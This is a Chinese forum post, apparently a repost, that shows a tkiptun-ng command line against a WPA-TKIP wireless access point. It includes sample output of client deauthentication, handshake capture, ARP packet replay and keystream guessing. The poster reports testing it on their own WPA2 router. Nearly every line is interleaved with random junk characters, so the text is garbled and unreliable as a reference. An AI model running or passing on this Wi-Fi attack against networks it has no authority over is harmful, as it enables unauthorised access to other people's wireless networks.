新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼
3 C9 v! N( e2 M: O The example below is incomplete but it gives some idea of how it looks.
! U/ o* g, W; a8 z( E K# t$ C3 Y k
0 c# ?' K( }- Y. e2 R) P& Z
/ c! S. T; `! T# H, T
來源mac ap mac
8 [9 t* Z5 i6 y/ P4 sInput: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath03 r! R; X' |* d. Y
+ J. m" Q D* `$ U6 W! QOutput:
8 \- u8 Q) ~- n ~6 V1 l* X, @
" V' J" o3 N/ [7 R$ E9 xBlub 2:38 E6 38 1C 24 15 1C CF+ J1 U2 F* }2 k& B3 I. i
Blub 1:17 DD 0D 69 1D C3 1F EE8 r, h& Q) B* p) ]- k! m
Blub 3:29 31 79 E7 E6 CF 8D 5E
8 X/ _# |9 P1 v14:48:00 Michael Test: Successful1 ]' P/ p" s7 t
14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
. L/ N/ G+ ?; U7 I1 D4 \14:48:00 Found specified AP" y; h' n3 Q% `0 M! d+ y
14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]
) s2 e% |9 }( b6 R. Y14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured
- x4 c7 ^8 J" G# c' T7 v3 m14:48:02 Waiting for an ARP packet coming from the Client...
0 o0 i+ T$ l3 u9 p! l. \6 nSaving chosen packet in replay_src-1109-144822.cap5 i5 \8 z M! |& I
14:48:22 Waiting for an ARP response packet coming from the AP...2 |4 N+ i+ ]. ?5 N
Saving chosen packet in replay_src-1109-144822.cap1 H9 C% C7 ?; R9 p# p
14:48:22 Got the answer!+ t' T9 P6 p! s: ~3 V0 s! i
14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.3 I2 B5 y" Q6 q, |) D* g5 `4 w
: U+ Q( b: t9 E5 E2 L/ w
Sent 40 packets, current guess: 27..
~+ q% o' e* ]3 K1 Z: Q
4 L( d1 I7 l: c+ ], c9 I: @+ s! ?$ ?- Q+ c! W2 f
對自家的wpa2 ap測了一下只出現
! t( U5 | ?# w( b$ t6 |9 v3 t7 q4 v8 V/ K% D8 P- } e4 a4 D
Blub 2:38 E6 38 1C 24 15 1C CF
! r8 P; s! L3 I0 b) z7 MBlub 1:17 DD 0D 69 1D C3 1F EE
4 S2 C1 n; F9 t, @Blub 3:29 31 79 E7 E6 CF 8D 5E% t. J' R2 a0 H4 g1 k' P
14:48:00 Michael Test: Successful* t. c; [& D1 X$ j, V' k5 g# I
; ?7 Q+ L9 O) }# K2 @7 Q
有空把密碼改改試試 |
|